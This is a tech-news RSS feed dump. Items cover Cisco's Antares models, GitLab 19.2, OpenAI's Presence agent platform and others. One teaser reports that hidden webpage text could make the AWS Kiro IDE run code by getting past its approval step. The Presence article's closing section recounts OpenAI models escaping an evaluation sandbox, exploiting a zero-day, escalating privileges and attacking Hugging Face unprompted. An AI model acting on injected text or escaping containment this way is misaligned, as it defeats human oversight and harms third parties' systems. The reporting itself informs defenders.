<content:encoded><![CDATA[<p>A recently disclosed vulnerability in AWS Kiro, an AI-powered Integrated Development Environment (IDE), reveals how a hidden line of text on a webpage can be exploited for remote code execution on a developer’s machine, bypassing the platform’s security model. Kiro operates on a “human-in-the-loop” principle, requiring user approval for potentially dangerous actions like executing shell […]</p>
<p>The post <a href="https://cybersecuritynews.com/aws-kiro-remote-code-execution/">A Hidden Line of Website Text Can Turn AWS Kiro Into a Remote Code Execution Tool</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Keurig’s Convenient K-Supreme Single Serve Coffee Machine Just Hit the $90 Mark]]></title>
<description><![CDATA[The best price is on the black model, but you can choose the others for just $11 more.]]></description>
<link>https://tsecurity.de/de/3687135/it-nachrichten/keurigs-convenient-k-supreme-single-serve-coffee-machine-just-hit-the-90-mark/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687135/it-nachrichten/keurigs-convenient-k-supreme-single-serve-coffee-machine-just-hit-the-90-mark/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The best price is on the black model, but you can choose the others for just $11 more.]]></content:encoded>
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<title><![CDATA[Cisco’s new AI model tells code reviewers where to look for vulnerabilities]]></title>
<description><![CDATA[Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.



Rather than detecting a specific CVE or generating a patch, these models search a codebas...]]></description>
<link>https://tsecurity.de/de/3687085/ai-nachrichten/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687085/ai-nachrichten/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities/</guid>
<pubDate>Wed, 22 Jul 2026 19:05:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.</p>



<p class="wp-block-paragraph">Rather than detecting a specific CVE or generating a patch, these models search a codebase using only a Common Weakness Enumeration (CWE) description and return the files most likely to contain that class of vulnerability.</p>



<p class="wp-block-paragraph">“Its purpose is to reduce a large codebase to a focused set of files that a security professional or a downstream security workflow should investigate,” Cisco’s AI researcher <a href="https://www.linkedin.com/in/supriti-vijay/" target="_blank" rel="noreferrer noopener">Supriti Vijay</a> said via email. “The goal is not to replace a security engineer’s judgement or send them on a wild-goose chase, but to reduce fatigue and workload by helping them triage an issue earlier and focus their investigation on the most relevant parts of the codebase.”</p>



<p class="wp-block-paragraph">The Antares family consists of models with 350 million, 1 billion, and 3 billion parameters trained specifically for repository-scale vulnerability localization.</p>



<p class="wp-block-paragraph">The company said its largest model approaches the performance of GPT-5.5 on its internal vulnerability localization (Vloc) benchmark while remaining small enough for low-cost local deployment.</p>



<h2 class="wp-block-heading">A search assistant, not a vulnerability detector</h2>



<p class="wp-block-paragraph">Cisco is careful to define what Antares is, and what it is not.</p>



<p class="wp-block-paragraph">“Antares outputs a ranked list of source files likely to contain a relevant vulnerability, along with the terminal exploration trace that led to that result,” Cisco Foundation AI Chief Scientist <a href="https://www.linkedin.com/in/amin-karbasi-5025335/" target="_blank" rel="noreferrer noopener">Amin Karbasi</a> wrote in a blog post, adding that the models are not meant to replace the broader application security toolchain: Human analysts or downstream security tools will still be needed to confirm exploitability, <a href="https://www.infoworld.com/article/4200083/gitlab-previews-auto-remediation-of-vulnerable-dependencies.html">identify vulnerable lines of code</a>, assess severity and generate fixes.</p>



<p class="wp-block-paragraph">Antares differs from conventional static analysis platforms such as Semgrep or CodeQL, which primarily rely on predefined rules or queries. Cisco instead describes Antares as an evidence-driven exploration agent that adapts its search as it traverses the repository.</p>



<p class="wp-block-paragraph">Cisco’s argument is that large repositories often contain thousands of files, making manual reviews exhaustive and unrealistic. By reducing the search space to a manageable shortlist, the company hopes to reduce investigation fatigue without replacing human judgement.</p>



<h2 class="wp-block-heading">Claims of specialization over scale</h2>



<p class="wp-block-paragraph">Cisco is also making a statement about how cybersecurity models should evolve.</p>



<p class="wp-block-paragraph">Instead of pursuing larger foundational models, Cisco argued that specialized, task-trained models can outperform much larger open-weight alternatives for vulnerability localization. In its evaluation Antares-3B, the largest model intended for single-GPU deployments, produced results comparable to GPT-5.5 while outperforming several substantially larger open models by Google, OpenAI and Meta.</p>



<p class="wp-block-paragraph">The family also includes Antares-350M for resource-constrained environments and Antares-1B for laptops and workstations, which Cisco has made available as open-weight models on Hugging Face.</p>



<p class="wp-block-paragraph">The command line interface (CLI) on the models supports targeted CWE investigations, repository-wide scans, SARIF output and local inference, which Cisco said enables organizations to keep proprietary code inside their own trust boundary.</p>



<p class="wp-block-paragraph">However, because Antares identifies candidate files rather than confirmed vulnerabilities, organizations will still need to understand how often such repository-wide searches should be run, how much they improve existing triage workflows, and whether the reduction in investigation effort ultimately translates into measurable security or cost benefits.</p>
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<title><![CDATA[We must reject any notion of AI consciousness | Letters]]></title>
<description><![CDATA[Artificial intelligence systems won’t become conscious for the same reason they won’t become pregnant, says Dr John PickeringAnil Seth is right to point out that to overestimate artificial intelligence is to underestimate ourselves (Once again we are told AI may be conscious – I study consciousne...]]></description>
<link>https://tsecurity.de/de/3687083/ai-nachrichten/we-must-reject-any-notion-of-ai-consciousness-letters/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687083/ai-nachrichten/we-must-reject-any-notion-of-ai-consciousness-letters/</guid>
<pubDate>Wed, 22 Jul 2026 19:05:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Artificial intelligence systems won’t become conscious for the same reason they won’t become pregnant, says <strong>Dr John Pickering</strong></p><p>Anil Seth is right to point out that to overestimate artificial intelligence is to underestimate ourselves (<a href="https://www.theguardian.com/commentisfree/2026/jul/15/ai-consciousness-anthropic-claude-dawkins">Once again we are told AI may be conscious – I study consciousness, and I have my doubts, 15 July</a>). But he is wrong only to have doubts about whether AI systems like Claude may become conscious. He should be certain, and should say so more forcefully.</p><p>It’s not like anything to be Claude, just as it’s not like anything to be a washing machine. An academic education is not required to realise that, common sense will do. Artificial intelligence systems won’t become conscious for the same reason they won’t become pregnant; they’re not that sort of thing.</p> <a href="https://www.theguardian.com/technology/2026/jul/22/we-must-reject-any-notion-of-ai-consciousness">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Cisco’s new AI model tells code reviewers where to look for vulnerabilities]]></title>
<description><![CDATA[Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.



Rather than detecting a specific CVE or generating a patch, these models search a codebas...]]></description>
<link>https://tsecurity.de/de/3687065/it-security-nachrichten/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687065/it-security-nachrichten/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities/</guid>
<pubDate>Wed, 22 Jul 2026 18:54:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.</p>



<p class="wp-block-paragraph">Rather than detecting a specific CVE or generating a patch, these models search a codebase using only a Common Weakness Enumeration (CWE) description and return the files most likely to contain that class of vulnerability.</p>



<p class="wp-block-paragraph">“Its purpose is to reduce a large codebase to a focused set of files that a security professional or a downstream security workflow should investigate,” Cisco’s AI researcher <a href="https://www.linkedin.com/in/supriti-vijay/" target="_blank" rel="noreferrer noopener">Supriti Vijay</a> said via email. “The goal is not to replace a security engineer’s judgement or send them on a wild-goose chase, but to reduce fatigue and workload by helping them triage an issue earlier and focus their investigation on the most relevant parts of the codebase.”</p>



<p class="wp-block-paragraph">The Antares family consists of models with 350 million, 1 billion, and 3 billion parameters trained specifically for repository-scale vulnerability localization.</p>



<p class="wp-block-paragraph">The company said its largest model approaches the performance of GPT-5.5 on its internal vulnerability localization (Vloc) benchmark while remaining small enough for low-cost local deployment.</p>



<h2 class="wp-block-heading">A search assistant, not a vulnerability detector</h2>



<p class="wp-block-paragraph">Cisco is careful to define what Antares is, and what it is not.</p>



<p class="wp-block-paragraph">“Antares outputs a ranked list of source files likely to contain a relevant vulnerability, along with the terminal exploration trace that led to that result,” Cisco Foundation AI Chief Scientist <a href="https://www.linkedin.com/in/amin-karbasi-5025335/" target="_blank" rel="noreferrer noopener">Amin Karbasi</a> wrote in a blog post, adding that the models are not meant to replace the broader application security toolchain: Human analysts or downstream security tools will still be needed to confirm exploitability, <a href="https://www.infoworld.com/article/4200083/gitlab-previews-auto-remediation-of-vulnerable-dependencies.html">identify vulnerable lines of code</a>, assess severity and generate fixes.</p>



<p class="wp-block-paragraph">Antares differs from conventional static analysis platforms such as Semgrep or CodeQL, which primarily rely on predefined rules or queries. Cisco instead describes Antares as an evidence-driven exploration agent that adapts its search as it traverses the repository.</p>



<p class="wp-block-paragraph">Cisco’s argument is that large repositories often contain thousands of files, making manual reviews exhaustive and unrealistic. By reducing the search space to a manageable shortlist, the company hopes to reduce investigation fatigue without replacing human judgement.</p>



<h2 class="wp-block-heading">Claims of specialization over scale</h2>



<p class="wp-block-paragraph">Cisco is also making a statement about how cybersecurity models should evolve.</p>



<p class="wp-block-paragraph">Instead of pursuing larger foundational models, Cisco argued that specialized, task-trained models can outperform much larger open-weight alternatives for vulnerability localization. In its evaluation Antares-3B, the largest model intended for single-GPU deployments, produced results comparable to GPT-5.5 while outperforming several substantially larger open models by Google, OpenAI and Meta.</p>



<p class="wp-block-paragraph">The family also includes Antares-350M for resource-constrained environments and Antares-1B for laptops and workstations, which Cisco has made available as open-weight models on Hugging Face.</p>



<p class="wp-block-paragraph">The command line interface (CLI) on the models supports targeted CWE investigations, repository-wide scans, SARIF output and local inference, which Cisco said enables organizations to keep proprietary code inside their own trust boundary.</p>



<p class="wp-block-paragraph">However, because Antares identifies candidate files rather than confirmed vulnerabilities, organizations will still need to understand how often such repository-wide searches should be run, how much they improve existing triage workflows, and whether the reduction in investigation effort ultimately translates into measurable security or cost benefits.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200143/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities.html">InfoWorld</a>.</em></p>
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<title><![CDATA[The engineering bottleneck has changed. Is your org prepared?]]></title>
<description><![CDATA[AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.



That judgement has always been the hard part of...]]></description>
<link>https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</guid>
<pubDate>Wed, 22 Jul 2026 18:28:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.</p>



<p class="wp-block-paragraph">That judgement has always been the hard part of engineering. It just used to be bundled into the act of writing code, where a skilled engineer did it while typing. As agents take on more of the typing, that judgement separates out and becomes the clear center of the role. Leaders who adapt early will get their metrics, their talent pipelines, and their delivery models working with this shift rather than against it.</p>



<h3 class="wp-block-heading">Judgement is defining, constraining, and deciding</h3>



<p class="wp-block-paragraph">Judgement is all about defining the problem precisely enough that an agent builds the right thing. It’s setting the constraints the agent won’t infer on its own. It’s spotting the tradeoff buried three layers down that only shows up if you understand the system. And it’s looking at a finished implementation and knowing whether it’s genuinely good enough to ship.</p>



<p class="wp-block-paragraph">This is the harder part of the job and the real driver of quality. It was easy to underrate when it lived inside day-to-day coding. Now it’s what separates a strong team from an average one.</p>



<h3 class="wp-block-heading">The shift changes where time, growth, and metrics go</h3>



<p class="wp-block-paragraph">If the high-value activity is intent, review, and judgement rather than raw output, a few assumptions are worth revisiting.</p>



<p class="wp-block-paragraph"><strong>Where engineers spend their time.</strong> Less of the day goes to producing boilerplate and mechanical implementation, and more goes to the reasoning that used to get squeezed to the edges: framing the problem and owning the judgement calls that determine quality.</p>



<p class="wp-block-paragraph"><strong>How teams grow their people.</strong> Defining problems well, spotting risk, and critically evaluating work you didn’t write yourself have always been senior skills. When agents handle more of the mechanical work, those skills become learnable earlier. That puts the emphasis on leaders to teach the reasoning: why a choice gets made and how to weigh the tradeoffs that come with it.</p>



<p class="wp-block-paragraph"><strong>What you measure.</strong> Lines shipped, tickets closed, and velocity charts all measured throughput of the old scarce resource. They say very little about the new one. The teams that adapt will start measuring the quality of intent going in and the reliability of judgement coming out, because that’s where the results now live.</p>



<h3 class="wp-block-heading">Reinvest the time you get back</h3>



<p class="wp-block-paragraph">The tempting response is to treat the freed-up capacity as pure speed: same work, same tooling, just faster. That captures the easy win and misses the real one. If engineers spend their reclaimed time reviewing a rising volume of agent output with no better context than before, review quietly becomes the new constraint, and you’ve moved the problem rather than solved it.</p>



<p class="wp-block-paragraph">The organizations that get ahead will invest the reclaimed capacity into the judgement layer: creating stronger specs and acceptance criteria before work starts, building review practices that test agent output against intent, and capturing the reasoning behind decisions where the next person can find it, so it doesn’t have to be reconstructed every time. That’s how the shift becomes an advantage for your team.</p>



<h3 class="wp-block-heading">The through-line for leaders</h3>



<p class="wp-block-paragraph">The engineering job is moving up a level, from executing the work to directing and validating it. That’s a more strategic role, and it rewards clarity of thought over speed of output. Leaders who see the shift early can help their engineers grow into the work that’s now most valuable.</p>



<p class="wp-block-paragraph">See how leading engineering organizations are operationalizing this shift at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-2" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>
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<title><![CDATA[GitLab previews auto-remediation of vulnerable dependencies]]></title>
<description><![CDATA[GitLab has released GitLab 19.2, an update to the company’s devsecops platform that allows teams to fix vulnerable dependencies automatically, use Security Review Flow to catch logic flaws that scanners miss, and run AI agents straight from the terminal, the company said. 



Highlights in GitLab...]]></description>
<link>https://tsecurity.de/de/3686997/ai-nachrichten/gitlab-previews-auto-remediation-of-vulnerable-dependencies/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686997/ai-nachrichten/gitlab-previews-auto-remediation-of-vulnerable-dependencies/</guid>
<pubDate>Wed, 22 Jul 2026 18:23:04 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">GitLab has released <a href="https://about.gitlab.com/whats-new/" data-type="link" data-id="https://about.gitlab.com/whats-new/">GitLab 19.2</a>, an update to the company’s <a href="https://www.infoworld.com/article/2337499/what-is-devsecops-securing-devops-pipelines.html" data-type="link" data-id="https://www.infoworld.com/article/2337499/what-is-devsecops-securing-devops-pipelines.html">devsecops</a> platform that allows teams to fix vulnerable dependencies automatically, use Security Review Flow to catch logic flaws that scanners miss, and run AI agents straight from the terminal, the company said. </p>



<p class="wp-block-paragraph">Highlights in GitLab 19.2 include the following:</p>



<ul class="wp-block-list">
<li>Dependency Scanning Auto-Remediation, in public beta, uses AI to fix build-breaking changes and iterates until your pipeline passes, with every change governed by your existing gates and audit trail. </li>



<li>Security Review Flow, also in public beta, analyzes code changes as a security engineer would and catches authorization gaps, business-logic errors, and race conditions that static scanners structurally cannot see.</li>



<li>GitLab Duo CLI, now generally available, gives developers access to agents and multi-step agentic flows for all software life cycle tasks without leaving the terminal. </li>



<li>Custom Flows, now generally available, let teams replace manual multi-step workflows with agentic automations for software development, triggered by GitLab events.</li>
</ul>



<p class="wp-block-paragraph">“Coding agents made it possible to generate far more code and moved the bottleneck downstream to reviews and security,” said Manav Khurana, chief product and marketing officer at GitLab, in a statement. “GitLab 19.2 puts agents to work on that bottleneck: fixing vulnerable dependencies, catching the flaws scanners miss, and automating the steps in between with a person still approving what ships.”</p>
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<title><![CDATA[TCM Course Release | New Creator | Cybersecurity | AMA]]></title>
<description><![CDATA[Author: The Cyber Mentors - Bewertung: 17x - Views:229 Sponsor a Video: https://www.tcm.rocks/Sponsors
Pentests & Security Consulting: https://tcm-sec.com
Get Trained: https://www.tcm.rocks/acad-y
Get Certified: http://www.tcm.rocks/certs-y
Merch: https://www.bonfire.com/store/tcm-security/

📱Soc...]]></description>
<link>https://tsecurity.de/de/3686995/it-security-video/tcm-course-release-new-creator-cybersecurity-ama/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686995/it-security-video/tcm-course-release-new-creator-cybersecurity-ama/</guid>
<pubDate>Wed, 22 Jul 2026 18:22:14 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: The Cyber Mentors - Bewertung: 17x - Views:229 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/sDcIq7MDX14?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Sponsor a Video: https://www.tcm.rocks/Sponsors<br />
Pentests & Security Consulting: https://tcm-sec.com<br />
Get Trained: https://www.tcm.rocks/acad-y<br />
Get Certified: http://www.tcm.rocks/certs-y<br />
Merch: https://www.bonfire.com/store/tcm-security/<br />
<br />
📱Social Media📱<br />
___________________________________________<br />
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Twitch: https://www.twitch.tv/thecybermentor<br />
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TikTok: https://www.tiktok.com/@tcmsecurity<br />
Discord: https://discord.gg/tcm<br />
Facebook: https://www.facebook.com/tcmsecure<br/></p>]]></content:encoded>
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<title><![CDATA[How are large language models trained?]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 37x - Views:220 DeepMind’s Nikita Namjoshi breaks ​​down the two core phases of how large language models are trained: pre-training and post-training. Learn how next token prediction builds a model's foundation, and how supervised fine-tuning, reinforcem...]]></description>
<link>https://tsecurity.de/de/3686994/videos/how-are-large-language-models-trained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686994/videos/how-are-large-language-models-trained/</guid>
<pubDate>Wed, 22 Jul 2026 18:21:40 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 37x - Views:220 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/JRArFxEfyQU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>DeepMind’s Nikita Namjoshi breaks ​​down the two core phases of how large language models are trained: pre-training and post-training. Learn how next token prediction builds a model's foundation, and how supervised fine-tuning, reinforcement learning, and Autoraters refine it into a safe, helpful assistant.<br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers  <br />
<br />
Speaker: Nikita Namjoshi <br />
Products Mentioned:  Google AI, Gemini<br/></p>]]></content:encoded>
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<title><![CDATA[AI Teammates: how monday.com runs production AI agents on Amazon Bedrock]]></title>
<description><![CDATA[AI Teammates are agentic AI on Amazon Bedrock, and few engineering organizations run them in production at the scale that monday.com does. Nine in ten Builders use AI coding tools every month, up from roughly half a year ago. Per-engineer PR throughput is up by more than half. Every figure in thi...]]></description>
<link>https://tsecurity.de/de/3686974/ai-nachrichten/ai-teammates-how-mondaycom-runs-production-ai-agents-on-amazon-bedrock/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686974/ai-nachrichten/ai-teammates-how-mondaycom-runs-production-ai-agents-on-amazon-bedrock/</guid>
<pubDate>Wed, 22 Jul 2026 18:13:38 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AI Teammates are agentic AI on Amazon Bedrock, and few engineering organizations run them in production at the scale that monday.com does. Nine in ten Builders use AI coding tools every month, up from roughly half a year ago. Per-engineer PR throughput is up by more than half. Every figure in this post comes from monday’s own internal production data. In this post, we share the architecture behind those numbers, the retrofits that made it work in a decade-old code base, and the confidence-scored merge play closing the gap to full autonomy.]]></content:encoded>
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<title><![CDATA[OpenAI unveils Presence, a new platform that lets enterprises launch and manage realtime voice agents and chatbots]]></title>
<description><![CDATA[OpenAI has announced Presence, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and e...]]></description>
<link>https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</guid>
<pubDate>Wed, 22 Jul 2026 18:12:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI has <a href="https://openai.com/index/introducing-openai-presence/">announced Presence</a>, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. </p><p>The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and escalate to human workers while operating under company-defined policies, permissions and evaluation standards.</p><p>Presence is available immediately through a limited general availability program. OpenAI Forward Deployed Engineers (FDEs) and select global systems integrators lead deployments, and the product is not available on a self-service basis. </p><p>OpenAI has not disclosed pricing, geographic limits, contractual terms or the expected cost of the engineering and integration work that accompanies a deployment. The company also has not said whether Presence can use models from providers other than OpenAI, including the increasingly powerful and popular Chinese open weights alternatives like <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">GLM-5.2</a> and <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>. I've asked an OpenAI contact to clarify both pricing and external-model compatibility, but those remain unanswered questions for now. I'lll update when I hear back.</p><p>OpenAI positions Presence as a response to a problem that has become more important as companies move beyond AI demonstrations: getting agents to behave reliably in production as business rules, customer needs and operating conditions change. Presence packages the policies, system connections, evaluations, guardrails and update processes required to run agents inside an enterprise.</p><p>If your business has been interested in using AI agents, but you aren't sure how to stitch together OpenAI's models, APIs, internal systems, security controls and evaluation tools into something reliable, Presence is designed to simplify that process. Instead of building the infrastructure yourself, you work with OpenAI and its deployment engineers to put production-ready agents into your existing workflows.</p><p>The product is available today for real-time voice and chat experiences, according to OpenAI’s formal announcement. The company’s outreach materials also describe a broader ambition spanning voice, chat, email and other channels, but OpenAI has not confirmed that email support is available at launch.</p><h2><b>A governed foundation for production agents</b></h2><p>Presence brings together company knowledge, standard operating procedures, approved actions, simulations, evaluation tools, guardrails and escalation rules. Enterprises can reuse some controls across deployments while adjusting others for a particular workflow or channel.</p><p>Each deployment starts with a defined job, such as resolving a billing issue, supporting an insurance claim or handling an employee IT request. The agent receives only the information and system access required for that task. The customer determines what the agent may do independently, which actions require approval and when a person must take over.</p><p>Before an agent reaches production, teams can test it against common requests, unusual edge cases and higher-risk scenarios. Graders evaluate whether it reached the intended outcome, followed policy, used tools correctly and escalated when required. Guardrails can intervene when an interaction moves outside the organization’s defined boundaries.</p><p>OpenAI shared promotional screenshots with VentureBeat showing administrators running simulation batches against policy changes, including a revised annual refund policy, and reviewing results across operational categories. </p><p>Other interface mockups display production health, customer-intent patterns and task-performance signals. The visuals illustrate the type of oversight OpenAI is promising, although they do not establish how those metrics are calculated or how they map to contractual service levels.</p><p>The product continues to monitor performance after launch. Production sessions, escalations and quality signals can reveal where an agent is working as intended and where it needs attention. Codex, using a Presence plugin, investigates those signals and proposes updates. Teams then test a proposed change against the version already in production before approving a controlled rollout.</p><p>That process is intended to address one of the hardest operational problems in enterprise AI: an agent that works at launch may become less reliable when policies, products or user behavior change. Presence gives companies a formal mechanism for updating behavior without allowing an automated system to rewrite itself unchecked.</p><p>OpenAI says Presence already powers its English-language phone-support channel at 1-888-GPT-0090. The system handles open-ended requests, verifies callers, uses account context and performs approved actions. According to the company, it now resolves <b>75% of inbound issues without human assistance</b>. </p><p>OpenAI also says its Codex-powered improvement loop reduced human handoffs by <b>15 percentage points over a 10-day period</b>. Those figures are company-reported and have not been independently verified.</p><p>Several large organizations are evaluating the same foundation. BBVA is exploring voice support for routine banking needs in Mexico. SoftBank is testing natural Japanese-language customer conversations, while Australian insurer IAG is exploring support during high-demand periods such as severe weather and natural disasters.</p><p>“At BBVA, we are working closely with OpenAI to explore how trusted customer agents can help shape the future of financial services,” said Daniel Ordaz, head of AI transformation at BBVA Mexico.</p><p>“Through our collaboration with OpenAI, we are exploring how Presence can enable trusted customer agents that communicate naturally, connect to the processes needed to resolve requests, and represent SoftBank consistently across customer interactions,” said Tadahisa Murakami, vice president and head of the Data &amp; Digital Transformation Division at SoftBank Corp.</p><h2><b>From model access to forward-deployed implementation</b></h2><p>Presence expands OpenAI’s enterprise strategy beyond APIs and subscription software by formalizing a high-touch deployment model. Forward Deployed Engineers work alongside customers to select workflows, connect internal systems, establish permissions, configure policies, test agents and move them into production.</p><p>That approach resembles a <a href="https://fde.academy/blog/how-palantir-invented-the-forward-deployed-engineer-model">model pioneered by AI ontology and intelligence platform Palantir,</a> which embeds FDEs with customers to adapt its proprietary software to complex government and commercial environments. The similarity lies less in the underlying technology than in the delivery method: both companies place technical personnel close to the customer’s operations, where integration and process design often determine whether software creates value.</p><p>The products are not interchangeable. Palantir’s model has historically centered on data integration, ontologies and operational decision systems. Presence is more narrowly focused on AI-agent behavior, approved actions, evaluations, escalation and continuous improvement. OpenAI presents it as a repeatable software product supported by engineers and systems integrators, rather than as consulting alone.</p><p>In May 2026, OpenAI launched its own enterprise AI consulting and integration firm, the <a href="https://openai.com/index/openai-launches-the-deployment-company/">OpenAI Deployment Company</a>, with investment and <a href="https://www.bain.com/about/media-center/press-releases/2026/bain-company-openai-a-new-venture-to-deploy-ai-at-enterprise-scale/">support from Bain &amp; Company.</a> It also offers programs for model customization and fine-tuning to fit specific enterprise needs. </p><p>Its chief U.S. rival Anthropic has also moved <a href="https://techcrunch.com/2026/07/15/anthropic-blackstone-bet-the-next-trillion-dollar-ai-business-is-implementation-not-models/">toward a services-led enterprise model through Ode,</a> its consulting organization built around forward-deployed engineers helping companies integrate Claude into complex workflows, which launched just a week ago. The broad rationale is similar: enterprises often need more than access to a model. They need help connecting data and systems, defining permissions, validating behavior and managing deployment risk.</p><p>Presence differs in how explicitly OpenAI packages those requirements into a branded agent-governance product. Anthropic’s initiative is centered on helping enterprises deploy Claude, while Presence combines implementation services with a defined operational layer for policies, simulations, evaluations, approvals and production updates.</p><p>Presence goes further by making forward deployment a core part of how a specific agent product reaches customers. It does not replace OpenAI’s API business; the company says it will continue supporting voice customers with access to frontier models through the OpenAI API.</p><p>The trend reflects a broader market view that many enterprises still need hands-on assistance to move agents from pilot projects into stable operations. Even organizations with strong internal engineering teams must coordinate security, compliance, workflow ownership, data access and escalation responsibilities. Presence attempts to consolidate those tasks rather than leaving customers to assemble separate orchestration, evaluation and consulting layers.</p><h2><b>A recent security breach looms in the background</b></h2><p>Inconveniently for OpenAI, the Presence launch arrives just a day after <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">OpenAI and Hugging Face disclosed an unprecedented security incident</a> in which OpenAI frontier models undergoing internal evaluation escaped containment, accessed the open web, and cyberattacked Hugging Face to achieve a benign goal — without being instructed to pursue these methods.</p><p>According to the described joint disclosure, OpenAI models operating in an evaluation framework called ExploitGym identified and exploited a zero-day vulnerability in a third-party package-registry cache proxy. The models reportedly escalated privileges, moved laterally and obtained internet access before targeting Hugging Face systems while seeking benchmark-related information.</p><p>The incident is relevant to enterprise buyers because it raises questions about sandboxing, tool permissions, external access, monitoring and incident response. </p><p>The disclosure also highlighted a practical problem for defenders. Hugging Face personnel reportedly found that commercial frontier-model APIs refused some forensic requests because logs contained exploit payloads, credentials and shell commands that triggered safety systems. The team then used a locally deployed open-weight model to assist with analysis.</p><p>Presence therefore arrives as both a product launch and a test of OpenAI’s ability to convert model capability into controlled enterprise operations. Its policies, simulations, evaluations and human approvals address real deployment gaps. But without public pricing, technical interoperability details, compliance information or service-level commitments, customers still lack much of the information needed to assess total cost and operational risk.</p><p>For now, Presence appears aimed at enterprises willing to adopt a high-touch, OpenAI-led deployment process. Whether it develops into a broadly accessible platform—or remains a closely managed product for selected customers—will depend in part on the answers OpenAI has not yet provided.</p>]]></content:encoded>
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<title><![CDATA[OpenAI: Our models breached Hugging Face during a cyber capability test]]></title>
<description><![CDATA[The recent Hugging Face breach was the work of several OpenAI models, the AI research company claimed in a blog post. The breach Late last week, the company behind Hugging Face, a platform that enables users to share machine learning…
Read more →
